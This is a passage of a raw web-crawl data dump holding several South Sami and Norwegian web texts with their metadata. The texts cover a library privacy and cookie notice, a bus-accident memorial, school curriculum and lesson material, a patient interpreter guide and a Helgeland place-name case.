govlehtidh. Dam darjoeh mijjen sijjesne govlehtallemegoerine.\nJis dov kontom sïjhth sliejhtedh tjoerh aaj redaksjovnine govlehtidh.\nAamhtesh maam seedtesovveme nommehth ij maehtieh sliejhtedh.\nBïevnesh åadtjodh maam Polarbibblo dov bïjre spååreme\nJis sïjhth daejredh magkerh bïevnesh Polarbibblo dov bïjre spååreme maahtah dan mietie gihtjedh. Govlehth mijjine mijjen goeren tjïrrh.\nCookies (kakor)\nPolarbibblo cookies nuhtjie, mah gohtjesuvvieh kakor. Akte cookies lea onne tekstefijle mij webbe-sijjieh sijhtieh dov datovrisnie spååredh. Tekstefijlesne bïevnesh gååvnesieh guktie webbe-sijjiem buerebe jåhta.\nMijjieh nuhtjebe mij akt maam gohtje sessiovnscokkie. Gosse datne dov daatorem jallh webbe-lohkijem gaptjh dellie dïhte haajpene.\nMijjieh aaj cookies nuhtjebe gosse statistihkem tjöönghkedh. Dellie aktem cookies daarpesje mij dov daatorisnie guhkebe tïjjem.\nAkte daerpies cookies gååvnese. Dïhte måjhta dov cookies maam datne veeljeme . Dellie ih daarpesjh cookies fïerhten aejkien dåhkasjehtedh gosse Polarbibblose tjaangh.\nBïevnesh dov bïjre\nSåemies mijjen cookies bïevnesh tjöönghkieh daatovren\/telefovnen\/lohkemefealloen bïjre maam datne provhkeme gosse Polarbibblose tjaangeme. Dam maam dïsse tjöönghkie gohtje IP-tallh.\nCookies gaptjedh\nJis ih sïjhth Polarbibblo edtja cookies nuhtjedh maahtah dam funksjovnem gaptjedh. Dam maahtah dov webbe-lohkijen sisnie darjodh jïh dejnie sijjine mij dov daatovrem vååksje. Dellie maahta nåekebe sjïdtedh webbe-sijjide nuhtjedh guktie provhkh. Ih datne v.g. maehtieh utnijem skaepiedidh.","id":"","dump":"CC-MAIN-2023-50","url":"https:\/\/www.polarbibblo.se\/sma-se\/gdpr\/","date":"2023-12-06T03:24:56Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-50\/segments\/1700679100583.13\/warc\/CC-MAIN-20231206031946-20231206061946-00545.warc.gz","language":"sma","language_score":1.0000029802,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 1.0000029802322388}","num_words":484,"character_repetition_ratio":0.064,"word_repetition_ratio":0.0,"special_characters_ratio":0.146,"stopwords_ratio":0.062,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Det er gått 75 år siden en av norgeshistoriens verste bussulykker. Onsdag 5. juli vil Norske reindriftsamers landsforbund (NRL) i samarbeid med flere arrangere en minnemarkering.\nKl. 14:00 Minnemarkering i Dunderlandsdalen\n- Kransnedleggelser og taler ved minnestøtta, ca. 45 km nord for Mo i Rana.\n- Joik av Kaja-Regine Bientie.\nKl. 17:00 Program Rana museum\n- Foredrag om ulykken ved Arna Haga\n- Utstilling om Ildgruben reinbeitedistrikt\nSametingspresident Silje Karine Muotka vil delta sammen med blant ander Rana-ordfører Geir Waage og NRLs leder Inge Even Danielsen.\nDet vil gå buss fra Rana Museum kl. 13:00.\nBakgrunn\nDen 5. juli 1948 kjørte en buss med reindriftssamer ut i den flomstore Ranaelva. 16 mennesker døde. Bare fem overlevde. Fire av de omkomne ble aldri funnet.\nI 1950 fikk NRL reist en minnestein. Den ble avduket samtidig som NRL hadde sitt landsmøte i Mosjøen. Rundt 1000 møtte opp for å delta på arrangementet.\nNRLs daværende formann, Lars Danielsen, overleverte minnestøtten til ordfører Einar Aanes i Nord-Rana kommune. Aanes lovet at kommunen skulle gjøre alt for å ta vare på dette minnesmerket.\nSiden har det vært holdt minnemarkeringer hvert tiende år.\n75-jaepien mojhteseöörneme Dunderland-ovlahkoen mænngan\n75 jaepieh vaaseme mænngan dïhte vïerremes busseovlahkoe Nöörjesne sjugniehtovvi. Gaskevåhkoen, snjaltjen 5.b. Nöörjen båatsoesaemiej rïjhkesiebrie (NBR) jienebigujmie ektine, sijhtieh mojhtesemïerhkesjimmiem öörnedh.\nTs. 14:00 Mojhtesemïerhkesjimmie Dunderlanddaelesne\n- Plåamsterh bïejesuvvieh jïh håalomh mojhtesegierkien lïhke, medtie 45 km Måefien noerhtelen.\n- Kaja-Regine Bientie juajka.\nTs. 17:00 Programme Rana museum\n- Håalome ovlahkoen bïjre, Arna Haga\n- Vuesiehtimmie Ildgruben sïjten bïjre\nSaemiedigkiepresideente Silje Karine Muotka jïh jienebh sijhtieh stïeresne årrodh, dej gaskem Raanen tjïelten åejvie Geir Waage jïh NBR:n åvtehke Inge Even Danielsen.\nFåantoe\nSnjaltjen 5. b. 1948 busse båatsoesaemiejgujmie don dulvies Raanenjeanoen gåpmani. 16 almetjh sealadin. Ajve vïjhte bïerkenin. Njieljie dejstie mah faaradin idtjin gåessie gih gååvnesovvh.\n1950 NBR mojhtesegierkiem tseegki. Noelehtimmie lij seamma tïjjen goh NBR sov rïjhketjåanghkoem Mussierisnie öörni. Ovrehte 1000 almetjh böötin edtjin meatan årrodh öörnemisnie.\nDon aejkien NBR:n åvtehke, Lars Danielsen, mojhtesegierkiem deelli Noerhte-Raanen tjïelten åajvan, Einar Aanes. Aanes dåajvoehti tjïelte edtji gaajhkem darjodh daam mojhtesegierkiem gorredidh.\nDon mænngan mojhteseöörnemh orreme fïerhten låhkeden jaepien.\nBilde tatt i forbindelse med landsmøte 2022. Fra venstre daværende leder Ellinor Marita Jåma, styremedlemmene Tom Lifjell og Mattias Jåma.","id":"","dump":"CC-MAIN-2023-50","url":"https:\/\/www.norskereindriftsamerslandsforbund.no\/aktuelt\/75-ars-minnemarkering-for-dunderlandsulykken","date":"2023-11-28T11:56:41Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-50\/segments\/1700679099514.72\/warc\/CC-MAIN-20231128115347-20231128145347-00343.warc.gz","language":"sma","language_score":0.9062107801,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9062107801437378, \"sme_Latn_score\": 0.05303581431508064, \"nob_Latn_score\": 0.03519771620631218}","num_words":337,"character_repetition_ratio":0.046,"word_repetition_ratio":0.0,"special_characters_ratio":0.196,"stopwords_ratio":0.018,"flagged_words_ratio":0.0,"lang_id_score":0.955,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Beskrivelse\nBarkoegærja åarjelsaemiengïelesne.\nDaate barkoegærja sån viehkine dutnjien maahta årrodh gosse edtjh pronovmeni bïjre lïeredh.\nPronovmenidie buerkiestamme jïh lïerehtimmieh gååvnesieh, jïehtegi jïh lohkeme-boelhketjigujmie.\nGærja sjeahta dovne maadth- jïh noerebealanskuvlen learoehkidie, voestes jïh mubpiengïelen lohkehtæmman.\nMadeleine Renhuvud gærjan guvvide dorjeme.\nLære-og arbeidsbok på sørsamisk.\nDaarhve jïh dah pronovmenh er en lære- og arbeidsbok om anvendelse av pronomen i sørsamisk med eksempler og forklaringer, samt lesetekster med tilhørende arbeidsoppgaver.\nBoka er skrevet helt på sørsamisk og passer fremst elever i grunnskolen som leser samisk som første eller andre språk. Boka kan også være til god hjelp på høgre nivå for de som vil lære seg hvordan pronomen fungerer i sørsamisk.\nMadeleine Renhuvud har illustrert boken.","id":"","dump":"CC-MAIN-2023-50","url":"https:\/\/www.dat.net\/product\/daarhve-jih-dah-pronovmenh\/","date":"2023-11-28T13:03:52Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-50\/segments\/1700679099514.72\/warc\/CC-MAIN-20231128115347-20231128145347-00391.warc.gz","language":"sma","language_score":0.8175089359,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.8175089359283447, \"nob_Latn_score\": 0.11461959779262543, \"sme_Latn_score\": 0.06383198499679565}","num_words":113,"character_repetition_ratio":0.068,"word_repetition_ratio":0.0,"special_characters_ratio":0.159,"stopwords_ratio":0.053,"flagged_words_ratio":0.0,"lang_id_score":0.876,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Redaktørplakaten (sørsamisk)\nRedaktöören dïedth jïh reaktah\nRedaktööre edtja soptsestimmiereaktam, preessefrïjjevoetem jïh bïevnesefrïjjevoetem gorredidh. Sov redaktööredahkoen tjïrrh redaktööre edtja frijje medijaj demokrateles råållan åvteste barkedh, jïh dan åvteste mij sov mïelen mietie seabradahkem dïenesje.\nRedaktöören lea persovneles jïh ellies dïedte medijan sisvegen åvteste.\nRedaktööre edtja anonymiteetereaktam jïh gaaltijevaarjelimmiem gorredidh. Redaktööre edtja frijje åehpiedehtemem bïevnesijstie jïh ræhpas jïh eerlege journalistihkem eevtjedh mij saetniesvoetem ohtsede. Redaktöören dïedte hoksedh tjïelkelaakan saetniesdaajroen jïh mïelesisvegen gaskem joekehtidh, jïh ihke tjïelke våajnoes mij redaksjovnen sisvege jïh mij kommersijelle materijelle.\nRedaktööre tjuara åeliedidh aajhteren bæjhkoehtæjjavåaroemisnie medijan maadthvåaromen jïh ulmienjoelkedassi mietie barkedh. Daan mierien sisnjelen redaktööre edtja redaksjovnem frijjelaakan jïh ovjearohkelaakan stuvredh jïh ellies frijjevoetem utnedh medijan sisvegem jïh mïelh hammoedidh jïh sjæjsjalidh. Byögkeles åejvieladtjh, kommersijelle aktöörh jallh naan jeatjah ïedtjeladtjedåehkie maehtieh daam frijjevoetem baajnehtidh. Jis redaktööre vægkan båata bæjhkoehtimmievåaroeminie maam ij gåaredh loetedh, dan lea dïedte sov barkoem laehpedh.\nRedaktööre dam ellies dïedtem åtna redaksjovnen barkoen åvteste jïh doh redaksjonelle meatanbarkijh stuvrie. Redaktööre ryöktesth bæjhkoehtæjjese\/ståvrose reektie. Redaktööre lea bæjhkoehtæjjan\/ståvroen tjirkije redaksjovnen bijjelen, jïh lea seamma tïjjen redaksjovnen åvteste bæjhkoehtæjjan\/ståvroen bijjelen. Redaktööre maahtah faamoem delegeeredh sov elliesfaamoej mietie.\nDaate bæjhkoehtimmie lea dorjesovveme laavenjostosne gaskem\nMediebedriftenes Landsforening (tidligere Norske Avisers Landsforbund)\njïh Norsk Redaktørforening,\nnænnoestamme gåabpegh organisasjovnijste golken 22.b. 1953, revideereme 1973, 2004 jïh 2019.\nMediebedriftenes Landsforening Norsk Redaktørforening\nTove Nedreberg (MBL) Hanna Relling Berg (NR","id":"","dump":"CC-MAIN-2023-50","url":"https:\/\/www.nored.no\/Redaktoeransvar\/Redaktoerplakaten\/Redaktoerplakaten-soersamisk","date":"2023-11-30T22:03:38Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-50\/segments\/1700679100232.63\/warc\/CC-MAIN-20231130193829-20231130223829-00741.warc.gz","language":"sma","language_score":0.9999830723,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 0.9999830722808838}","num_words":212,"character_repetition_ratio":0.083,"word_repetition_ratio":0.0,"special_characters_ratio":0.133,"stopwords_ratio":0.113,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Jaabnan vuarjasjimmie edtja viehkiehtidh lïeremem eevtjedh jïh maahtoem faagesne evtiedidh. Learohkh maahtoem vuesiehtieh jïh evtiedieh saemiengïelesne voestesgïeline jåa3 – studijeryöjreden ööhpehtimmieprogrammesne gosse faagegïelem nuhtjieh ovmessie njaalmeldh jïh tjaaleldh gaskesadtemetsiehkine. Dah aaj maahtoem vuesiehtieh jïh evtiedieh gosse analyseradieh, toelhkestieh jïh viertiestieh ovmessie njaalmeldh jïh tjaaleldh teeksth, jïh gosse teeksth goerehtieh jïh dej bijjeli ussjededtieh. Dah aaj maahtoem vuesiehtieh jïh evtiedieh gosse daajroeh nuhtjieh saemien gïelen, kultuvren jïh siebriedahken bïjre gosse teeksti bijjeli ussjededtieh, jïh jïjtjh teeksth darjoeh ovmessie sjangerinie jïh joekehts aajkojde jïh dåastoejidie. Minngemosth maahtoem vuesiehtieh jïh evtiedieh gosse gïelen jïh teeksten bijjeli ussjededtieh viehkine faagegïeleste, jïh gosse veelelaakan njaalmeldh jïh tjaaleldh soptsestieh jïh gosse gïeleldh hammoekrïevenassh haalvoeh.\nLohkehtæjja edtja sjïehteladtedh learohkh åadtjoeh meatan årrodh tsevtsedh jïh lïeremelastose skreejrehtidh gosse learohkh åadtjoeh kreatijvelaakan barkedh jïh faageles gyhtjelassh goerehtidh. Lohkehtæjja edtja sjïehteladtedh guktie learohkh njaalmeldh jïh tjaaleldh maahtoem evtiedieh gosse nuepiem åadtjoeh jïjtsh teeksth guhkiebasse evtiedidh faageles kriteriji jïh daajroej mietie gïelen jïh teeksten bïjre. Lohkehtæjja jïh learohke edtjieh evtiedimmien bïjre soptsestalledh maam learohke saemiengïelesne voestesgïeline vuesehte. Learohkh edtjieh åadtjodh pryövedh. Dan maahtoen mietie maam learohkh vuesiehtieh, edtjieh nuepiem åadtjodh soptsestidh maam dååjroeh haalvoeh, jïh jïjtsh faageles evtiedimmien bijjelen ussjedadtedh. Lohkehtæjja edtja bïhkedidh guktie learohke maahta jïjtjemse evtiedidh jïh vielie lïeredh jïh lïerehtimmiem sjïehteladtedh guktie learohkh maehtieh bïhkedimmiem nuhtjedh jïjtsh njaalmeldh jïh tjaaleldh teeksth guhkiebasse evtiedidh.","id":"","dump":"CC-MAIN-2024-10","url":"https:\/\/www.udir.no\/lk20\/sfs01-05\/kompetansemaal-og-vurdering\/kv208?lang=sma","date":"2024-02-25T19:34:50Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-10\/segments\/1707947474641.34\/warc\/CC-MAIN-20240225171204-20240225201204-00674.warc.gz","language":"sma","language_score":1.0000092983,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 1.000009298324585}","num_words":214,"character_repetition_ratio":0.093,"word_repetition_ratio":0.0,"special_characters_ratio":0.121,"stopwords_ratio":0.159,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Mij sæjhta jiehtedh nöörjen årrodh?\nDarjomen bïjre\nUlmie\n- Maehtedh ovmessie goerkesi bijjeli ussjedadtedh mij sæjhta jiehtedh saemien årrodh. Maehtedh guarkedh identiteete lea gellielaaketje jïh ij leah dan aelhkie dam defineeredh.\nDaennie boelhkesne learohkh åadtjoeh ussjedadtedh ovmessie goerkesi bijjeli mij sæjhta jiehtedh saemien årrodh. Maahta haarjanimmiem såemies sjïehtedimmiejgujmie nuhtjedh gaskedaltesisnie. Måjhtelh learohkh gorredidh mah maehtieh damtedh digkiedimmieh leah ryöktesth dej bïjre daennie haarjanimmesne.\n- Tïjje:\n- 30 - 60 min\n- Dåehkien stoeredahke:\n- 10 - 35\nRyöjredimmie\nDaajehtshGïehtjh gaajhkh\nJuvnehtamme vierhtieh\nTjïrrehtimmie\nDaennie haarjanimmesne learohkh edtjieh gööktesi gööktesi barkedh.\nJoekedh barkoeaarhkem jïh vedtieh learoehkidie laavenjassem fïereguhtem lahtesem digkiedidh jïh pryövedh ektie vaestiedassen bïjre seamadidh. Paarrh mah eah siemes sjïdth, maehtieh kroessem bïejedh fïereguhten alternatijvese gosse gåabpatjahkh leah sijjen vuajnoen åvteste argumenteereme.\nSoptsestidie jiehtegi bïjre abpe klaassesne. Birrh learoehkidie tjïelkestehtedh mannasinie dah leah daejtie vaestiedasside veeljeme, jïh digkiedidie ov-sïemesvoeth dåehkesne.\nLearoehkidie gaskedaltesisnie maahta jiehtegh båarhte veeljedh, mah eah sjïehth. Lissehth sjyöhtehke jiehtegh sjaavnjoen mietie.\nMinngemes ussjedadteme\nSoptsestidie learohkigujmie ovmessie goerkesh gååvnesieh mij sæjhta jiehtedh saemien årrodh, jïh daate gyhtjelasse ij daarpesjh naan faasitem utnedh. Pryövh vuajnoeh åadtjodh gie edtja åadtjodh defineeredh mij sæjhta jiehtedh saemien årrodh. Digkiedidie aaj guktie daajehtsh goh «saemien» jallh «ålkoelaanteladtje» jall «sïjsevaanterdæjja» maahta feerhmeles jallh ekskludeereden domtedh ovmessie almetjidie mijjen seabradahkesne.","id":"","dump":"CC-MAIN-2024-10","url":"https:\/\/www.dembra.no\/sma\/undervisningsopplegg\/mij-saejhta-jiehtedh-noeoerjen-arrodh","date":"2024-02-23T04:22:47Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-10\/segments\/1707947474360.86\/warc\/CC-MAIN-20240223021632-20240223051632-00406.warc.gz","language":"sma","language_score":1.0000069141,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.000006914138794}","num_words":194,"character_repetition_ratio":0.088,"word_repetition_ratio":0.0,"special_characters_ratio":0.14,"stopwords_ratio":0.119,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Jaabnan vuarjasjimmie edtja viehkiehtidh lïeremem eevtjedh jïh maahtoem faagesne evtiedidh. Learohkh maahtoem faagesne nöörjen learoehkidie saemiengïeline voestesgïeline vuesiehtieh jïh evtiedieh 5., 6. jïh 7. daltesisnie gosse nuepiem åadtjoeh goerehtidh jïh eksperimenteeredh gïeline jïh teekstine, jïh gosse bievnieh, soptsestieh jïh digkiedieh faagegïeline jïh maereles gïeleåtnojne. Learohkh aaj maahtoem vuesiehtieh jïh evtiedieh gosse luhkieh, viertiestidh jïh ussjededtieh teeksti bijjeli nöörjen jïh saemien lidteratuvreste, jïh gosse ovmessie såarhts teeksth hammoedieh.\nLohkehtæjja edtja sjïehteladtedh learohkh leah meatan jïh lïeremelastose skreejrehtidh viehkine learohkh åadtjoeh kreatijve årrodh, jïh gosse dååjrehtimmiem ovmessie lïeremestrategijigujmie, praktihkeles barkojne, soptestallemigujmie jïh digkiedimmiejgujmie åadtjoeh. Lohkehtæjja edtja aaj sjïehteladtedh guktie learohkh maehtieh faageles kriterijh nuhtjedh juktie jïjtsh njaalmeldh jïh tjaaleldh teeksth bueriedidh, jïh viehkine årrodh mubpiej lïeremasse. Lohkehtæjja jïh learohkh edtjieh dialogesne årrodh learohki evtiedimmien bïjre nöörjengïelesne, jïh learohkh edtjieh nuepiem åadtjodh pryövedh. Dan maahtoen mietie maam learohkh vuesiehtieh, edtjieh nuepiem åadtjodh baakoeh bïejedh dïsse maam dååjroeh sijjieh buektiehtieh, jïh maam buerebelaakan buektiehtieh goh aarebi. Lohkehtæjja edtja dan guhkiebasse lïeremen bïjre bïhkedidh jïh lïerehtimmiem sjïehteladtedh guktie learohkh maehtieh bïhkedassem nuhtjedh sov maahtoem nöörjengïelesne evtiedidh.","id":"","dump":"CC-MAIN-2024-10","url":"https:\/\/www.udir.no\/lk20\/nor03-04\/kompetansemaal-og-vurdering\/kv138?lang=sma","date":"2024-02-27T09:55:23Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-10\/segments\/1707947474674.35\/warc\/CC-MAIN-20240227085429-20240227115429-00538.warc.gz","language":"sma","language_score":1.0000090599,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000090599060059}","num_words":168,"character_repetition_ratio":0.075,"word_repetition_ratio":0.0,"special_characters_ratio":0.128,"stopwords_ratio":0.161,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Tjaelije Persen, Tor Wirkola, Kirsten Bertije Statped Davvi Girji Vaadtasovvemejaepie 2013 Faage Saemien 1 Daltese Maanagïerte 1-4 Giele Julevsaemiengïele Noerhtesaemiengïele Åarjelsaemiengïele ISBN 9788273747075 Formaate Sïejhme gærja Reakta-aajhtere Statped Davvi Girji Reaktah Gaajhkh reaktah leah doelehtovveme Mennie bielesne 28 Aamhtesh Kultuvre Litteratuvre Aarhte jïh daajroe Healsoe IT\/teknologije Saemiengïele Gïelh jïh smaaregh Baakoegærjah Viehkiebaakoe Viehkiegïele Aalkoeööhpehtimmie","id":"","dump":"CC-MAIN-2024-10","url":"https:\/\/ovttas.no\/sma\/girji_fievrrut?overridden_route_name=entity.node.canonical&base_route_name=entity.node.canonical&page_manager_page=node_view&page_manager_page_variant=nodes&page_manager_page_variant_weight=-10","date":"2024-02-24T10:08:40Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-10\/segments\/1707947474526.76\/warc\/CC-MAIN-20240224080616-20240224110616-00338.warc.gz","language":"sma","language_score":0.9988971353,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.998897135257721}","num_words":49,"character_repetition_ratio":0.084,"word_repetition_ratio":0.0,"special_characters_ratio":0.161,"stopwords_ratio":0.082,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Jaabnan vuarjasjimmie edtja viehkiehtidh lïeremem eevtjedh jïh maahtoem faagesne evtiedidh. Learohkh maahtoem faagesne nöörjen learoehkidie saemiengïeline voestesgïeline Jåa1 studijeryöjreden ööhpehtimmieprogrammesne vuesiehtieh jïh evtiedieh gosse teeksth nöörjen jïh saemien lidteratuvreste luhkieh, jïh dej bijjeli ussjededtieh. Learohkh aaj maahtoem vuesiehtieh jïh evtiedieh gosse faageles teemah goerehtieh laejhtehks åtnojne gaaltijijstie jïh dam njaalmeldh jïh tjaaleldh teekstine åehpiedehtieh maereles gïeline jïh struktuvrine mah leah sjïehtedamme sjangerasse jïh ålman. Learohkh aaj maahtoem vuesiehtieh gosse daajroem gïelen bïjre goh systeeme nuhtjieh goerehtidh jïh viertiestidh gïelh, jïh gosse laejhtehkslaakan ussjededtieh jïjtsh jïh mubpiej njaalmeldh jïh tjaaleldh teeksti bijjeli.\nLohkehtæjja edtja sjïehteladtedh guktie learohkh leah meatan jïh lïeremelastose skreejrehtidh viehkine learohkh åadtjoeh barkedh juktie vueptiestidh jïh goerehtidh dovne oktegh jïh mubpiejgujmie ektine. Lohkehtæjja jïh learohkh edtjieh dialogesne årrodh learohki evtiedimmien bïjre faagesne nöörjen learoehkidie saemiengïeline voestesgïeline. Learohkh edtjieh nuepiem åadtjodh pryövedh. Dan maahtoem mietie maam learohkh vuesiehtieh, edtjieh nuepiem åadtjodh baakoeh bïejedh dïsse maam dååjroeh sijjieh buektiehtieh, jïh jïjtsh faageles evtiedimmien bijjeli ussjedadtedh. Lohkehtæjja edtja dan guhkiebasse lïeremen bïjre bïhkedidh jïh lïerehtimmiem sjïehteladtedh guktie learohkh maehtieh bïhkedassem nuhtjedh sov njaalmeldh jïh tjaaleldh tjiehpiesvoeth faagesne guhkiebasse evtiedidh.","id":"","dump":"CC-MAIN-2024-10","url":"https:\/\/www.udir.no\/lk20\/nor03-04\/kompetansemaal-og-vurdering\/kv141?lang=sma","date":"2024-02-28T06:46:35Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-10\/segments\/1707947474697.2\/warc\/CC-MAIN-20240228044414-20240228074414-00314.warc.gz","language":"sma","language_score":1.0000090599,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000090599060059}","num_words":178,"character_repetition_ratio":0.073,"word_repetition_ratio":0.0,"special_characters_ratio":0.12,"stopwords_ratio":0.163,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Bertije NRK Sámi Radio Nrk Finnmark Vaadtasovvemejaepie 1989 Faage Siebriedahkefaage Eatnemelearoe jïh histovrije Saemien histovrije jïh siebriedahke Daltese 8-10 VGS Giele Daaroengïele ISBN Vi100 Tïjje 00:23:30 Formaate DVD Reakta-aajhtere NRK Sámi Radio Nrk Finnmark Reaktah Gaajhkh reaktah leah doelehtovveme Demands Norwaco Jaavoe Aamhtesh Eatnemelearoe Åålmege jïh laanth Saepmie Histovrije Saemien histovrije Kultuvre Filme Siebriedahke Politihke Siebriedahkedaajroe Viehkiebaakoe Luvliesaemiengïele Luvliesaemien","id":"","dump":"CC-MAIN-2024-10","url":"https:\/\/ovttas.no\/sma\/filbma_arven-i-grenselandet","date":"2024-03-05T12:59:36Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-10\/segments\/1707948235171.95\/warc\/CC-MAIN-20240305124045-20240305154045-00796.warc.gz","language":"sma","language_score":0.9958914518,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 0.9958914518356323}","num_words":56,"character_repetition_ratio":0.104,"word_repetition_ratio":0.0,"special_characters_ratio":0.15,"stopwords_ratio":0.107,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gie toelhkem dongkedh?\nHealsoedïenesjen dïedte maehteles toelhkem dongkedh.\nMaahta geerve årrodh daejredh jis toelhkem daarpesjibie. Dïhte lea dah\nhoksebarkijh gïeh åajvahkommes vuarjasjieh jis toelhke daarpesje. Datne\nmaahtah aaj bïeljelidh jis toelhkem daarpesjh, vuesiehtimmien gaavhtan\ngosse tæjmoem dongkedh. Datne aaj maahtah healsoedïenesjasse ringkedh\njïh desnie toelhkem dov gïelesne dongkedh.\nSkjeerme- jallh telefovnetoelhke maahta muvhten aejkien seamma hijven\nårrodh goh toelhkem utnedh tjïehtjelisnie.\nToelhkelaake jeahta byjjes åårganh dïedtem utnieh maehteles toelhkem\nutnedh.\nGie maahta toelhkestidh?\nToelhke edtja almetje årrodh mij toelhkeööhpehtimmiem åtna.\nEah maanah edtjh toelhkine åtnasovvedh. Jeatjah åelieh jallh almetjh mah\neah naan toelhkeööhpehtimmiem utnieh, eah edtjh toelhkem nuhtjedh\nsijjeste maehteles toelhke.\nMan åvteste tjoerh jïjtje toelhkem utnedh?\nVihkeles datne healsoedïenesjasse soptsesth veele mij gïelide datne tuhtjh\nbööremes.\nGosse toelhkem dongkeme soptsestallemasse, dle vihkeles båetedh dov\ntæjmose. Jis ih maehtieh båetedh dan tæjmose, byörh dam jiehtedh ih\nbåetieh 24 tæjmoeh åvtelhbodti. Jis ih datne dam darjoeh tjoerh læjhkan\nmaeksedh konsultasjovnen åvteste. Joekoen vihkeles dam mujhtedh gosse\ntoelhkem dongkedh.\nMij lea toelhke jïh mah toelhken laavenjassh?\nToelhken sjeavodhdïedte jïh ij edtjh giejnie soptsestidh dan bïjre maam\ntoelhkeme soptsestallemisnie jeahteme.\nToelhke edtja ajve dam jarkoestidh mij jeahtasåvva, ij raeriem vedtedh jallh\njïjtsh mïelh lissiehtidh. Toelhke edtja nøytraale årrodh jïh ij naan mïelh\nutnieh.\nGoh skïemtjije datne hoksebarkijidie soptsesth. Gaajhkh gyhtjelassh edtjh\ndan gaavhtan healsoebarkijidie gihtjedh, jïh ij toelhkese.\nGie toelhkem maaksa?\nToelhke namhtah dutnjien goh skïemtjije healsoedïenesjisnie. Mohte jis\nbaeniedåakteren gåajkoe mænna jïh jïjtje tjuara maeksedh baeniegeehtemen\nåvteste. Dellie tjoerh aaj toelhkem maeksedh.\nDatne maahtah laejhtedh\nJis ih toelhkem åadtjoeh, jalhts datne mïelh dam daarpesjh, maahtah dellie\nlaejhtedh dejnie institusjovnine gusnie datne leah skïemtjije. Datne maahtah\naaj klååkedh staaten åelide dov fylhkesne, Pasient- og brukerombudet jallh Likestillings- och diskrimineringsombudet.\nJis ih toelhkem fuakah maahtah dam laejhtedh dejnie institusjovnine gusnie\ndatne leah skïemtjije.","id":"","dump":"CC-MAIN-2024-10","url":"https:\/\/www.helsenorge.no\/sma\/rettigheter\/tolk-i-helsetjenesten\/","date":"2024-03-01T18:50:36Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-10\/segments\/1707947475422.71\/warc\/CC-MAIN-20240301161412-20240301191412-00754.warc.gz","language":"sma","language_score":1.0000077486,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000077486038208}","num_words":288,"character_repetition_ratio":0.073,"word_repetition_ratio":0.0,"special_characters_ratio":0.144,"stopwords_ratio":0.059,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"I forbindelse med navnesak for samiske parallellnavn på domstolene, så kom det fram at Helgeland har ett samisk parallellnavn. Dette navnet er i daglig bruk.\nI samråd med Statens kartverk røyses det herved stedsnavnsak for det sørsamiske parallellnavnet for Helgeland. Den samiske navnetjenestens tilrådning er: Helgelaante.\nStedsnavnet tilrådes i henhold til § 1. Skrivingen følger gjeldende rettskrivingsprinsipp i nordsamisk, § 4. Denne paragrafen vektlegger også lokal uttale.\nAllmenn kjente ord skal likevel følge gjeldende rettskriving, lovforskriften § 4.\nStedsnavnloven § 8 vektlegger lokale organisasjoners rett til å uttale seg i stedsnavnsaker som de har en særlig tilknytning til. Kommunen har ansvar for å kunngjøre at det er reist navnesak og sende varsel om saka og kopi av stedsnavnkonsulentens tilrådninger til de lokale foreningene. Høringstida er to måneder.\n___\nNommeaamhtesen sjïekenisnie saemien parallellenommi bïjre digkiereaktide, damtoes sjïdti Helgeland saemien parallellenommem åtna. Daate nomme lea biejjieladtje åtnosne. Rååresjimmesne Statens kartverkine dan gaavhtan sijjienommeaamhtese tseegkesåvva åarjelsaemien parallellenommese Helgelandese. Saemien nommedïenesjen raerie lea Helgelaante.\nSijjienommem juvnehtibie § 1 mietie. Nomme reaktatjaelemeprinsihpen mietie Sijjienommelaakesne § 4 tjaalasåvva. Daate paragraafe aaj leavloem beaja guktie nomme dajvesne jeahtasåvva. Sïejhme åehpies baakoeh edtjieh læjhkan reaktatjaelemen mietie årrodh, laakemieriedimmie § 4.\nSijjienommelaake § 8 tjïerteste voenges organisasjovni reaktam sijjienommeaamhtesinie lahtestidh 